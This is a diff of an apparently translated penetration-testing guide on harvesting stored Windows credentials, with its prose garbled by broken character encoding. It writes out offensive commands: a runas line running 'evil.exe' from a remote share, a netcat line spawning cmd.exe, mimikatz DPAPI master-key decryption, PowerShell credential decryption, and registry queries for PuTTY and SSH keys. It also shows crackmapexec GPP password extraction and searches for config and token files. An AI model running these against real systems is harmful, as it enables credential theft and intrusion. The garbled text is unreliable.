рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП** рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдЯреЛрд░реЗрдЬ рд╡реЙрд▓реНрдЯ рд╕реЗред рдорд╢реАрди рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП `cmdkey` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред ```bash @@ -734,27 +734,27 @@ User: WORKGROUP\Administrator ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -`runas` рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реЗрдЯ рдХреЗ рд╕рд╛рдеред +`runas` рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), рдпрд╛ [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) рд╕реЗред +рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), рдпрд╛ [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) рд╕реЗред ### DPAPI -**Data Protection API (DPAPI)** рдбреЗрдЯрд╛ рдХреЗ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Windows рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЕрд╕рдордорд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рд░рд╣рд╕реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдВрдЯреНрд░реЙрдкреА рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИред +**рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рдПрдкреАрдЖрдИ (DPAPI)** рдбреЗрдЯрд╛ рдХреЗ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рднреАрддрд░ рдЕрд╕рдордорд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рдордорд┐рдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рд░рд╣рд╕реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдВрдЯреНрд░реЙрдкреА рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИред **DPAPI рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рд░рд╣рд╕реНрдпреЛрдВ рд╕реЗ рдирд┐рдХрд╛рд▓реА рдЧрдИ рд╕рдордорд┐рдд рдХреБрдВрдЬреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ**ред рд╕рд┐рд╕реНрдЯрдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд╕реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред -DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RSA рдХреБрдВрдЬрд┐рдпрд╛рдБ `%APPDATA%\Microsoft\Protect\{SID}` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ `{SID}` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред **DPAPI рдХреБрдВрдЬреА, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдЙрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣-рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИ**, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ 64 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдбреЗрдЯрд╛ рд╕реЗ рдмрдиреА рд╣реЛрддреА рд╣реИред (рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЬрд┐рд╕рд╕реЗ `dir` рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЗрд╕реЗ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред -```powershell +DPAPI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RSA рдХреБрдВрдЬрд┐рдпрд╛рдБ `%APPDATA%\Microsoft\Protect\{SID}` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд╣рд╛рдБ `{SID}` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ [рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛](https://en.wikipedia.org/wiki/Security_Identifier) рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред **DPAPI рдХреБрдВрдЬреА, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдЙрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИ**, рдЖрдорддреМрд░ рдкрд░ 64 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдбреЗрдЯрд╛ рд╕реЗ рдмрдиреА рд╣реЛрддреА рд╣реИред (рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЬрд┐рд╕рд╕реЗ `dir` рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЗрд╕реЗ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред +```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` рдЖрдк **mimikatz module** `dpapi::masterkey` рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдЪрд┐рдд рддрд░реНрдХреЛрдВ (`/pvk` рдпрд╛ `/rpc`) рдХреЗ рд╕рд╛рде рдЗрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **рдорд╛рд╕реНрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ** рдЖрдорддреМрд░ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд╛рди рдкрд░ рд╣реЛрддреА рд╣реИрдВ: -```powershell +```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ @@ -771,8 +771,8 @@ dpapi-extracting-passwords.md **PowerShell credentials** рдЕрдХреНрд╕рд░ **scripting** рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХреЗ рд╕реЗ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ **DPAPI** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЙрд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рдЗрдиреНрд╣реЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред -рдПрдХ PS рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рд╣реИ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +PS рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рд╣реИ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -810,13 +810,13 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ### Sticky Notes -рд▓реЛрдЧ рдЕрдХреНрд╕рд░ Windows рд╡рд░реНрдХрд╕реНрдЯреЗрд╢рдиреЛрдВ рдкрд░ StickyNotes рдРрдк рдХрд╛ рдЙрдкрдпреЛрдЧ **рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рд╕рд╣реЗрдЬрдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдирд╣реАрдВ realizing рдХрд┐ рдпрд╣ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдлрд╝рд╛рдЗрд▓ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓ `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` рдкрд░ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЗрд╕реЗ рдЦреЛрдЬрдирд╛ рдФрд░ рдЬрд╛рдВрдЪрдирд╛ рд╣рдореЗрд╢рд╛ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛрддрд╛ рд╣реИред +рд▓реЛрдЧ рдЕрдХреНрд╕рд░ Windows рд╡рд░реНрдХрд╕реНрдЯреЗрд╢рдиреЛрдВ рдкрд░ StickyNotes рдРрдк рдХрд╛ рдЙрдкрдпреЛрдЧ **рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдирд╣реАрдВ realizing рдХрд┐ рдпрд╣ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдлрд╝рд╛рдЗрд▓ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓ `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` рдкрд░ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЗрд╕реЗ рдЦреЛрдЬрдиреЗ рдФрд░ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрд╢рд╛ рдореВрд▓реНрдпрд╡рд╛рди рд╣реЛрддрд╛ рд╣реИред ### AppCmd.exe **рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ AppCmd.exe рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ Administrator рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рд╕реНрддрд░ рдХреЗ рддрд╣рдд рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред**\ **AppCmd.exe** `%systemroot%\system32\inetsrv\` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред\ -рдпрджрд┐ рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдореМрдЬреВрдж рд╣реИ рддреЛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреБрдЫ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрджрд┐ рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдореМрдЬреВрдж рд╣реИ рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреБрдЫ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХреЛрдб [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ рдерд╛: ```bash @@ -899,7 +899,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ `C:\Windows\CCM\SCClient.exe` рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВред\ -рдЗрдВрд╕реНрдЯреЙрд▓рд░ **SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ**, рдХрдИ **DLL Sideloading рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ (рдЬрд╛рдирдХрд╛рд░реА** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)ред** +рдЗрдВрд╕реНрдЯреЙрд▓рд░ **SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ**, рдХрдИ **DLL Sideloading рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВ (рдЬрд╛рдирдХрд╛рд░реА** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)ред** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -907,7 +907,7 @@ else { Write "Not Installed." } ``` ## рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ рд░рдЬрд┐рд╕реНрдЯреНрд░реА (рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕) -### Putty рдХреНрд░реЗрдбреНрд╕ +### Putty рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -921,7 +921,7 @@ SSH рдирд┐рдЬреА рдХреБрдВрдЬреА рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА `HK ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -рдпрджрд┐ рдЖрдк рдЙрд╕ рдкрде рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕рдВрднрд╡рддрдГ рдПрдХ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ SSH рдХреБрдВрдЬреА рд╣реЛрдЧреАред рдЗрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ +рдпрджрд┐ рдЖрдк рдЙрд╕ рдкрде рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕рдВрднрд╡рддрдГ рдПрдХ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ SSH рдХреБрдВрдЬреА рд╣реЛрдЧреАред рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ рд▓реЗрдХрд┐рди [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рд╣реИ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) рдпрджрд┐ `ssh-agent` рд╕реЗрд╡рд╛ рдЪрд▓ рдирд╣реАрдВ рд░рд╣реА рд╣реИ рдФрд░ рдЖрдк рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдмреВрдЯ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╢реБрд░реВ рд╣реЛ, рддреЛ рдЪрд▓рд╛рдПрдБ: @@ -929,7 +929,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!NOTE] -> рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдЕрдм рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред рдореИрдВрдиреЗ рдХреБрдЫ ssh рдХреБрдВрдЬреА рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдЙрдиреНрд╣реЗрдВ `ssh-add` рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рдФрд░ ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдорд╢реАрди рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреАред рд░рдЬрд┐рд╕реНрдЯреНрд░реА HKCU\Software\OpenSSH\Agent\Keys рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ рдФрд░ procmon рдиреЗ рд╡рд┐рд╖рдо рдХреБрдВрдЬреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди `dpapi.dll` рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдкрд╣рдЪрд╛рди рдирд╣реАрдВ рдХреАред +> рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдЕрдм рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред рдореИрдВрдиреЗ рдХреБрдЫ ssh рдХреБрдВрдЬреА рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдЙрдиреНрд╣реЗрдВ `ssh-add` рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдФрд░ ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдорд╢реАрди рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд┐рдпрд╛ред рд░рдЬрд┐рд╕реНрдЯреНрд░реА HKCU\Software\OpenSSH\Agent\Keys рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ рдФрд░ procmon рдиреЗ рд╡рд┐рд╖рдо рдХреБрдВрдЬреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди `dpapi.dll` рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдкрд╣рдЪрд╛рди рдирд╣реАрдВ рдХреАред ### Unattended files ``` @@ -987,7 +987,7 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -**SiteList.xml** рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ +рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЦреЛрдЬреЗрдВ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **SiteList.xml** рд╣реИред ### Cached GPP Pasword @@ -1014,20 +1014,20 @@ crackmapexec рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░ crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` ### IIS рд╡реЗрдм рдХреЙрдиреНрдлрд╝рд┐рдЧ -```powershell +```bash Get-Childitem тАУPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -```powershell 